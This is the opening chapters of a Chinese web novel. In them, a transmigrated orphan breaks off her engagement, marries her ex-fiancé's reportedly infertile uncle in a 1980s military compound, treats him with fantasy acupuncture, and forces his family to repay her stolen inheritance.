《八零随军:退婚神医被绝嗣大佬宠上天》 第1章 换人结婚 “白凝凝,你别给脸不要脸!我们家向阳是什么身份?京市大院里数得上名号的青年才俊,他愿意娶你一个无父无母的孤女,那是你祖上积了德!现在不过是让你把婚事往后推推,你在这里闹什么?” 尖厉刻薄的女声像是淬了毒的钢针,一下下扎在白凝凝的耳膜上。 白凝凝缓缓睁开眼,入目是军区大院里一栋苏式小楼的客厅,说话的是个烫着卷发、一脸刻薄相的中年女人,正是她穿书前看到的那个极品恶婆婆——周玉芬。 而她,成了书里那个被渣男一家吃绝户、下场凄惨的同名炮灰女配,白凝凝。 原主父母都是为国捐躯的烈士,只留下她这么一个孤女,和傅家的长孙傅向阳订了娃娃亲。如今她刚成年,傅家本该履行婚约,可傅向阳却被重生而来的绿茶婊女主楚小小勾搭上了。 周玉芬自然看不上无权无势的孤女白凝凝,一心想让儿子娶高官之女的楚小小,今天这场鸿门宴,就是为了逼白凝凝主动退婚。 “向阳说了,他现在事业为重,你一个乡下来的,什么都不懂,只会拖他后腿!”周玉芬见她不说话,越发嚣张,“这样吧,婚事取消,看在你父母的面子上,我们家给你一笔钱,你回乡下找个泥腿子嫁了,也算对得起你了!” 白凝凝心中冷笑。 给钱?原书里,周玉芬不仅一分钱没给,还打着“代为保管”的名义,侵吞了国家给原主的烈士抚恤金和她父母留下的所有遗产! 真是打得一手好算盘! 就在这时,一个穿着白裙子、长相清纯的女孩柔柔弱弱地走过来,挽住周玉芬的胳膊,泫然欲泣道:“阿姨,您别这么说凝凝姐,都是我的错……我不该和向阳哥走得太近,凝凝姐,你要怪就怪我吧!” 她就是那个重生女,楚小小。 好一朵楚楚动人的白莲花! 一旁的傅向阳立刻心疼地将楚小小护在身后,对着白凝凝皱眉道:“白凝凝,你闹够了没有?楚小小身体不好,你别吓着她!我跟你说清楚,我爱的是楚小小,这辈子非她不娶!你死了这条心吧!” 白凝凝看着眼前这对狗男女一唱一和,非但没气,反而笑了。 她笑得眉眼弯弯,清澈的眸子里像是淬了星光,比那楚小小的惺惺作态要动人千百倍。 “笑什么笑?疯了不成!”周玉芬被她笑得心里发毛。 白凝凝施施然站起身,目光越过他们,看向客厅主位上那位一直沉默不语、气势威严的老人——傅家真正的掌权人,傅老爷子。 “傅爷爷,”她声音清亮,掷地有声,“当年是我爸爸在战场上用命救了您,您亲口承诺,只要傅家在一天,就护我白凝凝一辈子。您说,娃娃亲的事,您给我做主。” 傅老爷子脸色铁青,手里的拐杖重重一顿地,整个客厅都为之一静! “混账东西!”他怒视着儿子一家,“我们傅家的人,言而无信,背信弃义,我的脸都被你们丢尽了!” 周玉芬吓得一哆嗦,傅向阳也梗着脖子不敢说话。 老爷子转向白凝凝时,目光瞬间柔和下来,带着愧疚:“凝凝丫头,是爷爷对不住你。这桩婚事,爷爷给你做主,今天就让这个混小子娶你过门!” “不!”没等傅向阳反对,白凝凝却先开了口。 所有人都愣住了。 白凝凝迎着众人惊愕的目光,一字一句,清晰无比地说道:“傅爷爷,强扭的瓜不甜。既然向阳哥心有所属,我白凝凝也不是死缠烂打的人。” 周玉芬和傅向阳顿时面露喜色。 “不过,”白凝凝话锋一转,目光灼灼地看着傅老爷子,“婚可以不结,但您许诺的‘护我一辈子’,还作数吗?” “当然作数!”老爷子斩钉截铁。 “好。”白凝凝深吸一口气,抛出了一个重磅炸弹。 “傅向阳我不要了,我要嫁给傅家的人,这个承诺不变。” “我要嫁给——”她的手指,缓缓指向角落里那个从始至终都像个局外人、气场冷冽、沉默如冰山的男人。 “——傅向阳的小叔,傅清寒。” 所有人的目光都汇聚到了那个男人身上。傅清寒,傅家最神秘、最不近人情的小儿子,年纪轻轻就身居高位,是整个军区大院里所有姑娘的梦中情人,也是一个……众所周知,因伤“绝嗣”的男人。 傅清寒缓缓抬起那双深不见底的黑眸,锐利的视线如鹰隼般锁定了白凝凝,带着审视和一丝不易察觉的……玩味。 这个女人,想干什么? 白凝凝却迎着他压迫感十足的目光,笑得越发灿烂。 悔婚?吃绝户? 不好意思,从今天起,你们的家产我来继承,你们的靠山我来当家,你们见了面,还得恭恭敬敬地叫我一声—— 小婶婶! 白凝凝的话音落下,整个傅家客厅的空气仿佛凝固了,安静得能听到每个人骤然加速的心跳声。 周玉芬的嘴巴张得能塞下一个鸡蛋,脸上的喜色瞬间僵住,转为不可置信的惊骇:“你、你疯了!你知道你在说什么吗?” 傅向阳更是气得俊脸涨红,指着白凝凝的手指都在发抖:“白凝凝!你这是什么意思?得不到我就要当我婶婶?你这是报复!你简直不知廉耻!” 就连一直柔弱垂泪的楚小小,此刻也忘了表演,震惊地瞪大了双眼。 嫁给傅清寒?那个活阎王? 整个京市大院谁不知道,傅清寒是傅家最不能惹的存在。他年仅二十八岁,已经是战功赫赫的团级干部,前途无量。但三年前一场秘密任务让他负伤,从此性情大变,冷酷暴戾,不近女色。更重要的是,外面传言,他伤了根本,这辈子都不可能有孩子了! 白凝凝一个黄毛丫头,竟敢肖想他? “报复?”白凝凝闻言,轻笑一声,那笑声像清脆的铃铛,却带着刺骨的寒意。她看都懒得看傅向阳一眼,目光始终落在主位上的傅老爷子身上,“傅爷爷,我只是想留在傅家,找个能护我一辈子的人。既然长孙不行,那换个小儿子,不也是一样的道理吗?” 她顿了顿,语气里带上了一丝委屈和倔强,“难道在您看来,傅家的承诺,只值一个三心二意的傅向阳?换成您更优秀的儿子,就不作数了吗?” 这话简直是把傅老爷子架在火上烤! 第2章 你是不是不行? 捧一踩一,捧的是傅老爷子最引以为傲的小儿子,踩的是让他丢尽颜面的长孙。这顶高帽子戴下来,他要是拒绝,就是承认自己偏袒长孙,承认傅家的承诺可以打折扣! 傅老爷子被她这番话堵得心口一滞,一双虎目复杂地看着这个从小看到大的丫头。他活了一辈子,何曾见过她如此伶牙俐齿、寸步不让的样子? 这丫头,好像一夜之间就变了个人。 “胡闹!”一直沉默的傅清寒终于开了口。 他的声音低沉磁性,像编钟最冷冽的音节,带着不容置喙的威压。两个字,就让整个客厅的温度都降了好几度。 他那双深邃如寒潭的眸子锁着白凝凝,锐利的视线仿佛能将她整个人洞穿。 “我的婚事,什么时候轮到你来做主?” 强大的气场铺天盖地而来,换做原主,恐怕早就吓得腿软了。 可白凝凝是谁?她偏不! 她不仅没怕,反而迎着他的目光,往前走了两步,直到离他只有一步之遥的距离。她仰起小脸,清澈的杏眼里闪烁着挑衅的光芒,声音压得极低,用只有两人能听到的音量说道: “小叔,你该不会是……不行吧?” 轰! 傅清寒周身的空气仿佛瞬间被点燃又冻结! 他的瞳孔骤然紧缩,一股浓烈的、带着血腥味的煞气从他身上迸发出来,那是从尸山血海里磨砺出的杀气,足以让普通人肝胆俱裂! 他死死地盯着眼前这个不知死活的女人,手背上青筋暴起,几乎是从牙缝里挤出几个字:“你、说、什、么?” “不行”这两个字,是所有男人的禁区,更是他傅清寒这三年来最深、最不可触碰的逆鳞! 这个女人,她怎么敢?! 白凝凝却仿佛感受不到他滔天的怒意,反而笑得像只狡黠的小狐狸。她就是要激怒他,让他方寸大乱! 她继续用气音,吐气如兰,每一个字都像羽毛搔刮在他紧绷的神经上: “外面都这么传的。你要是行,为什么不娶我?我年轻漂亮,身家清白,配你绰绰有余。娶了我,既能全了傅家的承诺,又能帮你堵住悠悠众口,还能打脸这对狗男女,一举三得。” 她眨了眨眼,无辜又纯良:“除非……传言是真的。那你放心,我不介意。反正我也不想生孩子,搭伙过日子,正好。” 傅清寒的呼吸陡然一滞。 他看着眼前这张近在咫尺、明艳生动的小脸,闻着她身上淡淡的馨香,三年来古井无波的心,第一次被搅起滔天巨浪! 这女人是魔鬼吗? 她精准地踩着他的痛处,却又给了他一个无法拒绝的理由! 娶她? 这个念头一旦冒出来,就像藤蔓一样疯狂滋生。 是啊,娶了她,所有问题都迎刃而解。 周玉芬和傅向阳此刻已经从震惊中回过神来,正想开口阻止这场荒唐的闹剧。 “爸!清寒!这绝对不行!她这是痴心妄想!”周玉芬尖叫道。 就在这时,傅清寒猛地站起身。 他身形高大挺拔,如一棵屹立不倒的青松,强大的压迫感让周玉芬瞬间闭上了嘴。 他居高临下地看着白凝凝,眼神晦暗不明,像藏着风暴的深海。良久,他薄唇轻启,对主位上的傅老爷子沉声道: “爸,我娶她。” 一锤定音! 傅向阳如遭雷击,整个人都傻了。 他……他刚才听到了什么?他那个高不可攀、谁也看不上的小叔,竟然真的要娶白凝凝?! 这个他不要的女人,转眼就要变成他名正言顺的小婶婶了?! 周玉芬更是眼前一黑,差点晕过去。 白凝凝赢了! 她看着傅向阳那张由红转青、由青转白,精彩纷呈的脸,心中一阵快意。 这才哪到哪?不过是刚刚开始。 她对着傅清寒,露出一个胜利的、甜美的微笑。 却见男人也正看着她,那双深不见底的眸子里,翻涌着她看不懂的情绪,他缓缓地、一字一顿地对她做了一个口型—— “你、等、着。” 当天下午,在傅老爷子雷厉风行的安排下,白凝凝和傅清寒就去军区家属院管理处领了结婚证。 两本崭新的红本本,像两块滚烫的烙铁,宣告着一段荒唐婚姻的开始。 没有婚礼,没有宴席,甚至没有多余的交流。 傅清寒直接把白凝凝带到了他在军区大院里分到的独立小院。这是一栋比傅家主宅更清净、也更显冷硬的二层小楼,院子里没有花草,只有一片被打理得一丝不苟的菜地。 “你的房间在二楼左手第一间,我的在最里面。井水不犯河水,明白?” 一进门,傅清寒就扔下这么一句冷冰冰的话,径直走向书房,关门声“砰”的一响,隔绝了两个世界。 白凝凝耸耸肩,毫不在意。 井水不犯河水?正合我意。她嫁给他,本就是为了自保和复仇,可没想过要谈情说爱。 她拎着自己那个破旧的行李包上了楼,推开房门。房间很简洁,一张木板床,一个大衣柜,一张书桌,打扫得一尘不染,带着一股属于军人的利落。 白凝凝放下行李,却没急着收拾,而是坐在床边,闭上了眼睛。 一股微弱但精纯的暖流,顺着她的奇经八脉缓缓流淌。这是她穿越而来时,一同带来的金手指——她前世是古武世家的传人,一手金针术出神入化,能活死人,肉白骨。 只是这具身体太弱,她的内力十不存一。 刚才在傅家客厅,她之所以敢那么大胆地挑衅傅清寒,不仅仅是仗着胆子大。在她靠近傅清寒的那一刻,她体内的内力就敏锐地察觉到了他身上郁结的、非同寻常的气血。 他的伤,在下腹丹田处,是陈年旧伤,经脉瘀堵,气血不通。这在现代医学看来是不可逆的损伤,但在她眼里…… 并非绝症。 白凝凝嘴角勾起一抹自信的微笑。傅清寒这个靠山,她不仅要靠,还要让他心甘情愿地为她所用。而治好他的“隐疾”,就是最好的筹码。 正思忖间,楼下传来了敲门声。 白凝凝下楼一看,只见傅向阳和楚小小站在门口,傅向阳的脸色比锅底还黑。 “白凝凝,你给我出来!”傅向阳咬牙切齿地低吼,“你到底用了什么狐媚手段勾引我小叔?!” 第3章 胆子不小 楚小小则是一副“我为你感到羞耻”的痛心模样:“凝凝姐,你怎么能这么作践自己?小叔他……他根本给不了你幸福!” 白凝凝懒洋洋地倚着门框,像看跳梁小丑一样看着他们。 “作践?”她轻笑一声,目光轻飘飘地落在傅向阳身上,“一个是我不要的残次品,一个是战功赫赫的真英雄,我选了英雄,怎么就成了作践?” “你!”傅向阳气得差点吐血。残次品?她竟敢说他是残次品?! “至于幸不幸福,”白凝凝的目光转向楚小小,意味深长地上下打量了她一番,忽然道,“楚小小,你最近是不是时常觉得头晕心悸,夜里盗汗,双腿无力?” 楚小小的脸色猛地一变! 她这些症状已经持续了一段时间,医生只说是体虚,可白凝凝怎么会知道得这么清楚? “你、你胡说八道什么!”楚小小心虚地反驳。 白凝凝却笑了,那笑容里带着一丝医者看穿病灶的了然:“是不是胡说,你自己清楚。奉劝一句,年轻人,要懂得节制。有些幸福,要得太急太多,可是会折寿的。” 她这话一语双关,既点破了楚小小和傅向阳早已暗通款曲的事实,又暗讽了楚小小的身体状况。 楚小小的脸“唰”地一下白了,她怎么也想不到,一向懦弱的白凝凝,嘴巴竟然这么毒! 就在这时,书房的门“咔哒”一声开了。 傅清寒高大的身影出现在楼梯口,他换了一身黑色的常服,更显得肩宽腿长,气势迫人。他冷冷地扫了一眼门口的两人,声音里结着冰碴子:“我的地方,什么时候轮到你们来撒野?” 傅向阳一看到他,瞬间矮了半截,呐呐地叫了一声:“小……小叔……” 傅清寒却看也不看他,目光直接落在了白凝凝身上,那眼神,像是在看一个即将被拆吃入腹的猎物。 他一步步走下楼,对门口的两人命令道:“滚。” 一个字,不容置喙。 傅向阳和楚小小屁都不敢再放一个,灰溜溜地跑了。 门被傅清寒反手关上,并落了锁。 狭小的空间里,只剩下他和白凝凝两个人。空气中弥漫着危险而暧昧的气息。 “胆子不小,”傅清寒走到她面前,高大的身影将她完全笼罩,他微微俯身,灼热的呼吸喷在她的耳廓。 “就是就是,他们吃了熊心豹子胆,敢来挑衅,也不看看马王爷几只眼。”被他弄得有点痒,凝凝缩了缩脖子。 “白凝凝,我说的是你。” 凝凝想到自己当着所有的人激将他不行,不由得心头一跳,但面上还是强作镇定:“我那不是好奇嘛……您这么优秀,怎么一把年纪还没找对象。” “优秀?找对象?”傅清寒的薄唇勾起一抹危险的弧度,大手猛地揽住她的腰,将她整个人提了起来,按在冰冷的墙壁上! “你不是说,我不行吗?” 他的黑眸里燃着两簇火,是被挑衅后的怒火,也是属于男人最原始的征服欲。 “今晚,我们就来好好‘证实’一下,我到底……行不行!” 白凝凝的心脏狂跳起来! 她感受着男人身上传来的滚烫温度和钢铁般的力量,她知道,她玩脱了。 她惹毛了一头沉睡的雄狮! 他那双深邃的眼眸里,哪有半分“不行”的颓靡,分明是饿了三年的狼,看到了美味的羔羊! 他所谓的“不行”,到底藏着什么秘密? 而这个新婚之夜,她又该如何收场?是羊入虎口,还是……反客为主?! 墙壁冰冷的触感透过薄薄的衣衫渗入肌肤,白凝凝浑身一个激灵。 男人的气息如同一张密不透风的网,将她牢牢禁锢。他身上那股混杂着烟草、皂角和淡淡血腥味的气息,霸道地侵占了她所有的感官。 白凝凝的心跳如擂鼓,但大脑却在急速运转。 退缩?求饶?那只会让他更看不起自己,坐实了她心虚。 她仰起头,迎上他那双燃烧着火焰的黑眸,非但没躲,反而伸出纤细的手臂,主动勾住了他的脖子! “好啊,”她的声音带着一丝不易察觉的颤抖,却又充满了挑衅的媚意,“那你可要努力点,别让我这个新婚妻子失望。” 傅清寒的瞳孔猛地一缩! 他预想过她的惊慌,她的求饶,甚至她的反抗,却唯独没有想到,她会是这样的反应! 主动、大胆、像一朵带刺的野玫瑰,非但不怕被他碾碎,反而想在他心上扎根! 这个女人……究竟在想什么? 他眼底的火焰烧得更旺,几乎要将她焚烧殆尽。他低下头,滚烫的唇几乎要贴上她的,每一个字都像是从胸膛里震出来的:“不知死活!” 就在这千钧一发之际,白凝凝勾在他颈后的手指,却忽然动了。 她的指尖看似无意地滑过他的后颈,精准无比地落在了他颈后一个隐秘的穴位上——风府穴。 一丝微弱却精纯的内力,顺着她的指尖,如同一根看不见的钢针,瞬间刺了进去! “唔!” 傅清寒闷哼一声,只觉得一股尖锐的酸麻感从后颈瞬间窜遍全身!他引以为傲的、钢铁般的身体骤然一僵,揽在白凝凝腰间的手臂也下意识地松了力道。 就是现在! 白凝凝抓住这稍纵即逝的机会,身体如游鱼般从他的钳制中滑了出来,瞬间与他拉开了三步的距离。 攻守之势,瞬间逆转! 傅清寒僵在原地,满脸的不可置信。他看着自己的双手,又猛地看向白凝凝,眼神里充满了惊骇和审视。 刚才那一下,绝非普通女人的小打小闹!那种精准打击神经的感觉,他只在最顶尖的特种部队教官身上见识过! “你……”他喉结滚动,声音沙哑。 白凝凝好整以暇地整理了一下被他弄乱的衣领,脸上带着一丝狡黠的笑意,她指了指自己的太阳穴,又指了指他。 “我说过了,你行不行,得我说了算。”她慢悠悠地说道,“傅团长,你的伤,在战场上留下的吧?子弹或者弹片擦过了小腹,伤了经脉,导致气血瘀滞,丹田受损。西医束手无策,只告诉你功能性障碍,对不对?” 傅清寒的脸色,彻底变了! 从震惊,到骇然,再到深不见底的凝重。 这件事是军区最高机密!除了给他治疗的军区总医院院长和他的直属上级,再无第三人知晓详情!就连傅老爷子,也只知道他受了重伤,具体伤情一概不知! 她怎么会知道得这么清楚?!连受伤原因都说得一字不差! 第4章 她的医术 “你到底是谁?”傅清寒的声音里第一次带上了真正的戒备和杀意。他摆出了一个防御兼攻击的姿势,整个人像一头蓄势待发的猎豹。 “干嘛这么紧张,我还能谁?当然是你的新婚妻子啊。”白凝凝摊了摊手,一脸无辜,“我呢……会一点医术,你刚刚也看到了,说不定我能……治好你呢?” 傅清寒身子一僵,如果她是昨天说这个话,他一定觉得她疯了,但现在她刚刚说的自己受伤的情况一点不差…… 她看着他紧绷的身体,继续抛出重磅炸弹:“你的伤,拖了三年,瘀滞的经脉已经开始影响到你全身的机能。每到阴雨天,伤处是不是会针扎一样疼?而且最近,你的右手在极限用力时,会不受控制地轻微颤抖,对吗?” 傅清寒的心,沉到了谷底。 全中!分毫不差! 右手微颤的事,是他最大的秘密,也是他作为一名顶尖军人最致命的隐患!这件事,连他自己都是最近才发现! 眼前的女人,难道她真的可以? 看着傅清寒那张冰山脸上终于出现了裂痕,白凝凝知道,她的目的达到了。 她缓缓收起脸上的笑容,神情变得严肃起来:“傅清寒,我们做个交易。” “我治好你,让你恢复如初,甚至比以前更强。而你,要做我最坚实的靠山,护我周全,帮我拿回属于我的一切。” 她清澈的眸子里闪烁着与她年龄不符的坚定和锐利:“你失去的,我帮你找回来。我失去的,你也要帮我夺回来。这个交易,你做不做?” 空气中,是死一般的寂静。 傅清寒的目光死死地锁着她,仿佛要将她的灵魂都看穿。 许久许久,他紧绷的身体终于缓缓放松下来。 他收起了那一身骇人的杀气,深深地看了她一眼,然后转身,径直走上了楼。 在楼梯的拐角处,他停下脚步,没有回头,只留下一个冷硬的背影。 “我的房间,没锁。” 没锁?! 这两个字,比任何承诺都来得更有冲击力! 这意味着什么? 意味着他默认了她的提议!意味着他向她敞开了自己最私密、最脆弱的领域! 更意味着……从今晚开始,他们的关系,将不再是“井水不犯河水”的假夫妻,而是真正意义上,要“同居”的战友和……病人与医生! 白凝凝站在原地,听着楼上那扇属于主卧的房门被推开,却没有再关上的声音,她的心,不受控制地狂跳起来。 这个男人,比她想象的更果决,也更危险。 她看着通往二楼的楼梯,那里仿佛通向一个未知的深渊,也通向一条布满荆棘的复仇之路。 今晚,她究竟是去给他治病,还是……羊入虎口,自投罗网? 而此时,傅家主宅。 周玉芬正哭天抢地地跟丈夫傅建军告状,傅向阳则在一旁添油加醋。 “建军!你可得管管你那个好弟弟!他竟然真的娶了那个小贱人!这让向阳的脸往哪儿搁?让我的脸往哪儿搁?” 傅向阳愤愤不平:“爸,小叔肯定是故意的!他就是看不得我好!现在好了,白凝凝成了我婶婶,我以后怎么见人?” 就在这时,电话铃声急促地响了起来。 傅建军不耐烦地接起电话,听筒里传来他秘书焦急万分的声音: “傅、傅主任!不好了!您负责的那个钢铁厂引进项目……出大事了!!” 傅建军接完电话,整个人如遭雷击,脸色“唰”地一下变得惨白! 钢铁厂引进项目是他今年最重要的政绩,他指着这个项目往上再走一步!现在出了大事,那可是要掉乌纱帽的! “出什么事了?”周玉芬看他脸色不对,也顾不上哭了。 傅建军嘴唇哆嗦着,话都说不利索:“德、德国那边的专家……不来了!说我们提供的翻译资料错误百出,是对他们的侮辱,要中断合作!” “什么?!”周玉芬也傻眼了,“翻译资料不是让向阳找他那个同学做的吗?他不是说万无一失吗?” 傅向阳此刻的脸比他爸还白。那份德语资料,是他为了讨好楚小小,特意拜托她的表哥做的。楚小小说她表哥是德语高材生,谁能想到会出这么大的纰漏! 这要是追究起来,他也要跟着吃挂落! 傅家主宅乱成一锅粥,而傅清寒的二层小楼里,却静谧得有些过分。 白凝凝深吸一口气,最终还是端着一盆热水,拿着一个从自己行李里翻出的陈旧布包,走上了二楼,推开了那扇为她敞开的房门。 傅清寒的房间比客房大了不少,也更冷硬。除了一张大床和一个衣柜,就只有一排摆满了军事书籍和档案的书架。 男人没有穿上衣,赤裸着精壮的上半身趴在床上,露出宽阔的背脊和窄瘦的腰身。流畅的肌肉线条充满了力量感,几道狰狞的伤疤更添了几分男人的野性。 听到脚步声,他没有回头,声音闷闷地从枕头里传来:“想好了?” “交易而已,有什么好想的。”白凝凝将水盆放在床头柜上,打开了她的布包。 布包展开,里面是一排长短不一、闪着寒光的银针。 傅清寒从枕头里侧过脸,看到那些银针,黑眸里闪过一丝异色。他本以为她只是懂些推拿按摩的皮毛,没想到竟真的有全套的行头。 白凝凝取出一根三寸长的银针,在烛火上烤了烤,神情专注而圣洁,与刚才那个伶牙俐齿的小狐狸判若两人。 “趴好,别动。”她命令道,语气里带着医者不容置喙的威严。 傅清寒竟然真的乖乖趴了回去。 白凝凝伸出手指,在他下腹丹田对应的后腰位置轻轻按压。她的指尖带着一丝奇异的温热,所到之处,傅清寒只觉得一股暖流似乎要透进皮肤。 “就是这里。”她找准了位置,眼神一凝,手腕轻抖,手中的银针快、准、狠地刺入了他腰间的“气海俞”穴!。 “嘶!” 饶是傅清寒这样铁打的汉子,也不禁倒吸一口凉气! 那不是单纯的疼痛,而是一种极致的酸、麻、胀,仿佛有一股电流顺着银针钻入了他沉寂了三年的废弃经脉,要将那些堵塞的壁垒强行冲开! 紧接着,第二针、第三针…… 白凝凝的动作行云流水,一连七根银针,封住了他腰腹周围的七处大穴。她额角渗出细密的汗珠,催动体内本就不多的内力,缓缓注入银针。 “呼……”傅清寒紧绷的肌肉慢慢放松下来,他惊奇地发现,那股难忍的酸胀过后,一股久违的暖意开始在他丹田处盘旋、汇聚!那是他失去已久的气感! 这个女人……她真的可以! 就在这时,楼下响起了急促而粗暴的敲门声! “砰!砰!砰!” 第5章 德国翻译材料 粗暴的敲门声像催命的鼓点,打破了室内的宁静。 楼下传来傅建军焦急败坏的吼声:“清寒!清寒!快开门!你大哥我出大事了!” 床上的傅清寒眉头紧锁,被打断治疗让他本就压抑的戾气瞬间上涌。他刚要起身,却被白凝凝一只手按住了肩膀。 “别动,”她的声音冷静而沉稳,“行针走气的关键时刻,乱动会让你气血逆行,神仙难救。” 傅清寒动作一顿。他能感觉到,随着白凝凝指尖的捻动,那股盘旋在丹田的热流正变得越来越强劲,冲刷着他枯萎的经脉,带来久违的舒畅感。 他选择了相信她。 白凝凝头也不抬,淡淡道:“我去处理。” 说完,她擦了擦额角的汗,施施然地走下楼。 门一打开,傅建军、周玉芬和傅向阳三张写满了“焦急”和“绝望”的脸就挤了进来。 “清寒呢?让他快出来!”傅建军像抓住救命稻草一样,一把抓住白凝凝的手臂。 白凝凝不着痕迹地抽回手,神情冷淡地倚在门框上:“他睡了。” “睡了?!”周玉芬尖叫起来,“都什么时候了还睡!他知不知道他大哥要完蛋了?白凝凝,你这个扫把星,一来就没好事!赶紧让他给我滚出来!” “我丈夫累了,正在休息。有什么事,天亮再说。”白凝凝的语气没有一丝波澜,却带着不容置喙的强势。 一口一个“我丈夫”,叫得周玉芬心口堵得慌,叫得傅向阳脸色铁青! 白凝凝一见傅向阳这样,心里不由得一乐,刻意拉长嗓音,带了一点娇媚,“是啊,春宵一刻值千金,他累了自然不就睡了?如果你们有哪怕一点点眼力见,也知道不该在人家家门口聒噪吧?” 这话说得暧昧又自然,傅向阳气得咬牙,但又发现无从反驳……这确实是白凝凝和自己小叔的新婚夜…… 但小叔他不是不能人道吗……怎么会…… 而且白凝凝……自己才刚刚和她划清界限,她怎么就爬小叔的床了……这个女人真是水性杨花…毫无廉耻…亏自己还一直觉得她乖巧…… 和自己儿子哑火了不同,“你……”傅建军气得手指发抖,“你算个什么东西?这里有你说话的份吗?我是他大哥!” 白凝凝闻言,忽然笑了。 她抬起眼帘,那双清澈的眸子此刻却像淬了冰,直直地看向傅建军:“傅主任,现在是晚上十点,你带着妻子儿子,擅闯一位现役团级军官的家,大声喧哗,还对他的合法妻子大呼小叫……这件事要是捅到军纪委,不知道是你的面子重要,还是傅家的规矩重要?” 傅建军瞬间噎住! 他被白凝凝这一番有理有据的话堵得哑口无言。他忘了,傅清寒的身份摆在那里,他的住处受军队保护,不是他傅建军能撒野的地方!而眼前这个女人,已经是傅清寒名正言顺的妻子! 周玉芬还想撒泼,却被傅向阳一把拉住。傅向阳压低声音道:“妈,别闹了!小叔的脾气你不知道吗?真把他惹火了,爸的事他更不会管!” 傅建军深吸一口气,强压下怒火,几乎是低声下气地说道:“弟妹,算大哥求你了,这次的事,只有清寒能帮忙。德国那边的事,他以前跟那边打过交道……” “哦?德国的事?”白凝凝故作惊讶,随即恍然大悟,“就是那份翻译资料出错的事吧?” 三人脸色大变! “你……你怎么知道?!”傅向阳脱口而出。 白凝凝心里冷笑。这事在原书里也发生过,是楚小小为了让傅向阳出丑,故意找了个半吊子表哥翻译,然后自己再站出来力挽狂澜,秀一波德语,博得傅家上下的好感。 只不过,这一世,她白凝凝来了。 “若要人不知,除非己莫为。”白凝凝慢悠悠地说,“我刚好……也懂一点德语。” 她顿了顿,在三人震惊的目光中,抛出了致命一击:“那份资料我看过,错误百出到可笑。把‘精密轴承’翻译成‘小心熊出没’,把‘技术参数’翻译成‘美味的食谱’。傅主任,你觉得德国专家看到这样的文件,是会觉得我们幽默,还是觉得我们像一群没开化的猴子?” 傅建军的脸,瞬间血色尽失! 他根本不懂德语,傅向阳拿来什么他就交上去什么,哪里会想到错得如此离谱!这已经不是工作失误了,这是国际笑话!是外交丑闻! “你……你真的懂德语?”傅向阳难以置信地看着白凝凝。在他印象里,白凝凝就是个乡下来的土包子,大字都不识几个,怎么可能懂德语? “不信?”白凝凝嘴角一勾,忽然用字正腔圆、流畅无比的德语说了一长串话。 那发音、那语调,比德国电台的播音员还要标准! 傅向阳三人虽然听不懂,但光看这架势,就知道白凝凝绝不是在吹牛! 傅建军的眼睛瞬间亮了!他像是看到了新的救命稻草,态度一百八十度大转弯,脸上挤出比哭还难看的笑容:“弟妹!好弟妹!原来你才是深藏不露啊!是大哥有眼不识泰山!你快,快帮帮大哥!只要你肯帮忙,以后……以后我们家都听你的!” 昨天还高高在上,骂她是“不要脸的孤女”。 今天就低声下气,求她这个“深藏不露的弟妹”。 白凝凝心中冷笑,面上却不动声色:“帮你可以。但我有个条件。” “你说!别说一个,十个都行!”傅建军忙不迭地说道。 白凝凝的目光缓缓扫过他们三人,一字一句,清晰无比: “第一,把我父母留下的所有遗产,包括这些年的烈士抚恤金,一分不少地还给我。” 周玉芬的脸色瞬间变得比死人还难看!那些钱早就被她拿去贴补娘家和自己挥霍了! “第二,”白凝凝的目光落在傅向阳身上,“让你儿子去我家门口,对着全大院的人,大喊三声‘我是忘恩负义的白眼狼,我配不上白凝凝’。” “第三,”她的声音更冷了,“从今以后,你们一家人见了我,要恭恭敬敬地叫我一声‘小婶婶’。少一个字,我都当你们没叫。” 每一条,都像一把刀子狠狠地扎在傅建军一家的心上! 第一条,是要周玉芬割肉吐血! 第二条,是要把傅向阳的脸皮彻底撕下来踩在脚下! 第三条,是要他们一家子,永永远远地在她面前矮上一头! 屈辱!前所未有的屈辱! 傅建军的脸涨成了猪肝色,周玉芬气得浑身发抖,傅向阳的拳头捏得咯咯作响。 “你……你不要欺人太甚!” 白凝凝却只是淡淡地抱着手臂,靠在门上,身后是二楼那间没有关门的,属于傅清寒的房间。 她身后,仿佛站着那个沉默却强大的男人。 “要么答应,要么滚。”她下了最后通牒,“我给你们三秒钟考虑。三、二……” 答应,还是不答应? 是选择丢掉乌纱帽和前途,还是选择丢掉那可笑的尊严和脸面? 这个选择题,似乎……并不难做。 第6章 叫一声小婶婶,我听听 白凝凝的倒计时像死神的镰刀,悬在傅建军一家的脖子上。 “一!” 最后一个字落下,傅建军猛地一咬牙,几乎是从牙缝里挤出几个字:“好!我答应你!” 前途和脸面,他最终还是选择了前者。脸丢了可以再找,官没了就真的一无所有了! “爸!”傅向阳又急又怒,让他当着全大院的人喊那句话,比杀了他还难受! “闭嘴!”傅建军狠狠地瞪了他一眼,“你还有脸说话?要不是你识人不清,找的什么狗屁翻译惹出这么大的祸,我们家至于这么被动吗?!” 他现在对这个成事不足败事有余的儿子,简直失望透顶! 周玉芬也是一脸肉痛,那些钱可是她的命根子,就这么还回去,简直是在剜她的心!可看着丈夫那要吃人的眼神,她一个字也不敢多说。 “口说无凭。”白凝凝可不信他们的人品,她转身从门边的柜子上拿起纸笔,刷刷刷写下几行字。 “签个字,按个手印吧。”她将纸和印泥递了过去,上面白纸黑字,清清楚楚地写着刚才那三个条件。 这简直是签下奇耻大辱的卖身契! 傅建军的手都在抖,但还是颤颤巍巍地签下了自己的名字,按上了鲜红的手印。 周玉芬和傅向阳也屈辱地照做。 白凝凝满意地收起“欠条”,吹了吹上面的墨迹,这才侧身让开路:“进来吧。资料在哪里?” 傅建军如蒙大赦,连忙让傅向阳把那叠烫手的资料拿进来。 白凝凝指了指客厅的桌子:“放那儿吧。我需要一个安静的环境,你们都出去。天亮之前,我会给你们一份全新的、正确的翻译稿。” “弟妹……这……”傅建军还想说什么,希望能亲眼看着。 白凝凝一个冷眼扫过去:“怎么?信不过我?信不过就拿着东西滚。别忘了,现在是你们求我,不是我求你们。” 她这副油盐不进、掌握全局的模样,让傅建军彻底没了脾气。他只能点头哈腰道:“信得过!当然信得过!那……那我们就先回去了,不打扰弟妹了。” 一家三口灰头土脸地准备离开。 走到门口时,白凝凝忽然又开了口,声音懒洋洋的。 “等一下。” 三人身体一僵,转过身来。 只见白凝凝好整以暇地倚在门边,目光戏谑地看着傅向阳,挑了挑眉:“协议从现在开始生效。刚才好像……有人没按规矩叫人吧?” 傅向阳的脸“唰”地一下涨成了猪肝色! 让他当着全家的面,叫她“小婶婶”?! 这三个字,每一个都像一记响亮的耳光,狠狠地抽在他脸上! 